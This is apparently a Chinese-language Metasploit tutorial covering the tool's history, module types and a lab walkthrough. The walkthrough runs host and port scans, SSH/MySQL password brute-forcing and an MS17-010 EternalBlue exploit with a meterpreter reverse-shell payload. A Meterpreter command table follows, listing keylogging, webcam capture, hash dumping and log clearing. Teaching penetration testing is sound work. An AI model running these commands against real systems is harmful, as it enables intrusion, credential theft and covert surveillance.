简介

  • Metasploit 是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境

诞生与发展

  • Metasploit 项目最初是由HD Moore 在2003 年夏季创立,目标是成为渗透攻击研究与代码开发的一个开放资源.
  • HD Moore在2003 年的10月发布了他的第一个基于Perl 语言(pl)的Metasploit 版本,当时一共集成了11个渗透攻击模块.
  • 在Spoonm 的帮助下,完全重写了Metasploit 的代码,并在2004 年4月发布了Metasploit v2.0 ,版本中已经包含了18个渗透攻击模块和27 个攻击载荷(payload),并提供了控制台终端,命令行和Web 三个使用接口.
  • 在2004 年8月,HD 和Spoonm 带着最新发布的Metasploit v2.2 并在拉斯维加斯举办的BlackHat 全球黑客大会上进行了演讲.听众被Metasploit 的强大之处所折服,并一致认为:Metasploit 时代已经到来.更多的黑客加入Metasploit 核心开发团队与贡献渗透攻击,载荷与辅助模块代码.
  • 在2005 年的CanSecWest 黑客会议上,HD 和Spoonm 指出了Metasploit v2 体系框架中的一些难以解决的难题,包括:
  1. 缺乏跨平台支持,特别是不能很好地运行在Windows 系统上.
  2. 很难支持自动化渗透攻击过程
  3. Perl 语言的复杂性和缺点使得外部贡献者与用户规模增长不相适应
  4. Perl 语言对一些复杂特性的支持能力较弱等.
  • 而且v2 版本是完全围绕着渗透攻击而设计的,对信息搜集与后渗透攻击阶段无法提供有效支持.经过18个月的时间,Metasploit 团队使用Ruby 语言完全重写了Metasploit ,并在2007 年5月发布了v3.0 版本,其中包含177 个渗透攻击模块,104 个攻击载荷模块以及30 个新引入的辅助模块.- Metasploit v3.0 的发布使得Metasploit 不在限于用作渗透攻击软件,而真正成为一个事实上的渗透测试技术研究与开发平台.- 2009 年10月,Metasploit 项目被一家渗透测试技术领域的知名安全公司Rapid7 所收购.Rapid7 公司随后与2010 年10月推出了Metasploit Express 和Pro 商业版本.
  • Metasploit v4.0 在2011 年8 月发布.v4.0 版本在渗透攻击,攻击载荷与辅助模块的数量上都有显著的扩展,此外还引入一种新的模块类型——后渗透攻击模块,以支持在渗透攻击环节中进行敏感信息搜集,内网拓展等一系列的攻击测试.
  • Metasploit v5.0 在2019 年1月份发布.Metasploit 5.0 使用了新的数据库,并提供了一种新的数据服务.新版本引入了新的规避机制(evasion capabilities),支持多项语言,框架建立在不断增长的世界级攻击性内容库的框架基础上.另外,此次更新还包括了可用性改进和大规模开发的支持,数据库和自动化 API 的改进等.

技术架构

QQ截图20210102153328.png

辅助模块(auxiliary)

  • Metasploit 为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点,构建虚假服务收集登录密码,口令猜测破解,敏感信息嗅探,探查敏感信息泄露,Fuzz测试发掘漏洞,实施网络协议欺骗等模块.辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息.

渗透攻击模块(exploits)

  • 渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件.
  • 主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通过连接目标系统网络服务,注入一些特殊构造的包含"邪恶"攻击数据的网络请求内容,触发安全漏洞,并使得远程服务进程执行在"邪恶"数据中包含攻击载荷,从而获取目标系统的控制会话.
  • 被动渗透攻击利用的漏洞位于客户端软件中,如浏览器,浏览器插件,电子邮件客户端,Office 与Adobe 等各种文档阅读与编辑软件.对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出"邪恶"的网页,电子邮件或文档文件,并通过架设包含此类恶意内容的服务,发送邮件附件,结合社会工程学分发并诱骗目标用户打开,结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些邪恶的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell 会话.

攻击载荷模块(payloads)

  • 攻击载荷是在渗透攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接.

空指令模块(nops)

  • 空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90

编码器模块(encoders)

  • 攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入邪恶数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序--编码.
  • 编码器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符".编码器的第二个使命就是对攻击载荷进行"免杀"处理.

后渗透攻击模块(post)

  • 后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息,进一步拓展,实施跳板攻击等.

免杀模块(evasion)

  • 对攻击载荷进行"免杀"处理.

为什么使用Metasploit

渗透攻击是目前Metasploit 最强大和最具吸引力的核心功能,Metasploit 框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权.除了渗透攻击之外,Metasploit 在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集,威胁建模,漏洞分析,后渗透攻击与报告生成.

情报搜集阶段

  • Metasploit 一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap,Nessus,OpenVAS 等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精确情报.

威胁建模阶段

  • 在搜集信息之后,Metasploit 支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL,MySQL,SQLite 数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜索到的情报进行威胁建模,从中找出最可行的攻击路径.

漏洞分析阶段

  • 除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,Metasploit 中还提供了大量的协议Fuzz 测试器与Web 应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出0Day 漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量.

后渗透攻击阶段

  • 在成功实施渗透攻击并获得目标系统的远程控制权之后,Metasploit 框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大功能.
  • Meterpreter 可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter 中实现了特权提升,信息攫取,系统监控,跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外功能的后渗透攻击模块.

报告生成阶段

  • Metasploit 框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测试报告的写作.
  • 商业版的Metasploit Pro 具备了更加强大的报告生成功能,可以输出HTML,XML,Word 和PDF 格式的报告,把那个支持定制渗透测试报告模板.

使用MSF

  • 启动MSF
msfconsole

QQ截图20210102151340.png

  • 更新MSF
apt-get update
apt-get install metasploit-framework

如果更新后启动MSF提示以下报错

#更新bundler
apt-get install bundler

QQ截图20210102151243.png

基本命令

进入模块

#进入auxiliary/scanner/http/dir_scanner模块
use auxiliary/scanner/http/dir_scanner

QQ截图20210102153919.png

查看模块信息

#在该模块目录下查看该模块信息
info

QQ截图20210102154052.png

设置参数

set RHOSTS 10.0.0.254

QQ截图20210102154304.png

查看设置的参数

show options

QQ截图20210102154345.png

执行

exploit

QQ截图20210102154529.png

返回

back

QQ截图20210102154607.png

靶机渗透测试

网站敏感目录扫描

可以借助Metasploit 中的brute_dirs,dir_listing,dir_scanner 等辅助模块来进行敏感目录扫描.他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典.

  • dir_scanner模块可以发现了网站上的一些目录,Admin,admin,images.只要字典足够大,可以找到更多的敏感目录
use auxiliary/scanner/http/dir_scanner
set RHOSTS 10.0.0.7
set THREADS 50
set RPORT 80
set SSL false
#可以通过DICTIONARY自定义字典文件
show options
exploit

QQ截图20210102160252.png

主机发现

Metasploit中提供了一些辅助模块可用于主机发现,这些模块位于modules/auxiliary/scanner/discovery/目录中.可以使用arp_sweep来枚举本地局域网中的所有活跃主机

QQ截图20210102160719.png

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 10.0.0.0/24
set THREADS 50
exploit

QQ截图20210102160934.png

端口扫描

Metasploit的辅助模块中提供了几款实用的端口扫描器.一般情况下推荐使用syn端口扫描器,结果比较准确且不易被对方察觉,扫描结果比tcp更好,但是比较费时

QQ截图20210102161042.png

use auxiliary/scanner/portscan/syn
set RHOSTS 10.0.0.1
set THREADS 50
exploit

QQ截图20210102165319.png

探测服务详细信息

在Metasploit中有一些插件可以调用系统中的命令,比如可以使用Nmap 探测目标的详细服务信息

nmap -sS -Pn 10.0.0.1 -sV

#-sS
使用SYN 半连接扫描
#-Pn
在扫描之前,不发送ICME echo 请求测试目标是否活跃
#-sV
探测服务详细版本

QQ截图20210102170601.png

服务查点

通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH客户端返回一个远程Shell连接.如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应登录用户的所有权限.可以使用ssh_version模块遍历网络中开启SSH服务的主机.

use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.0.0.0/24
set THREADS 50
exploit

QQ截图20210102171501.png

  • 其他服务也可以扫描,例如telnet,mysql等
#telnet
use auxiliary/scanner/telnet/telnet_version
#mysql
use auxiliary/scanner/mysql/mysql_version

口令猜测

在确定了网络上的SSH服务之后,可以使用MSF中的ssh_login模块对SSH服务进行口令猜测攻击,在进行口令攻击之前,需要一个好用的用户名和口令字典

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.0.0.7
set USER_FILE /root/dic/user.dic
set PASS_FILE /root/dic/pwd.dic
set THREADS 50
exploit

QQ截图20210102173340.png

  • 其他服务也可以爆破,例如telnet,mysql等
#telnet
use auxiliary/scanner/telnet/telnet_login
#mysql
use auxiliary/scanner/mysql/mysql_login

网络服务渗透攻击

MS17-010永恒之蓝漏洞利用

  • 扫描主机是否存在漏洞
#扫描ms17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
set THREADS 50
exploit

QQ截图20210102175539.png

  • 找到目标后,尝试利用漏洞攻击10.0.0.6
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 10.0.0.6
set LHOST 10.0.0.221
exploit
  • 出现Meterpreter命令提示符,渗透成功

QQ截图20210102180244.png

Meterpreter命令

核心命令(Core Commands)

使用background命令后可以使用sessions命令查看会话,或者查看sessions -h帮助

命令 描述
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel

文件系统命令(File system Commands)

命令 描述
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory

网络命令(Networking Commands)

命令 描述
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table

系统命令(System Commands)

命令 描述
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS

用户界面命令(User interface Commands)

命令 描述
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components

摄像头命令(Webcam Commands)

命令 描述
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

音频输出命令(Audio Output Commands)

命令 描述
play play a waveform audio file (.wav) on the target system

特权升级命令(Elevate Commands)

命令 描述
getsystem Attempt to elevate your privilege to that of local system.

密码转储命令(Password database Commands)

命令 描述
hashdump Dumps the contents of the SAM database

Timestomp命令(Timestomp Commands)

命令 描述
timestomp Manipulate file MACE attributes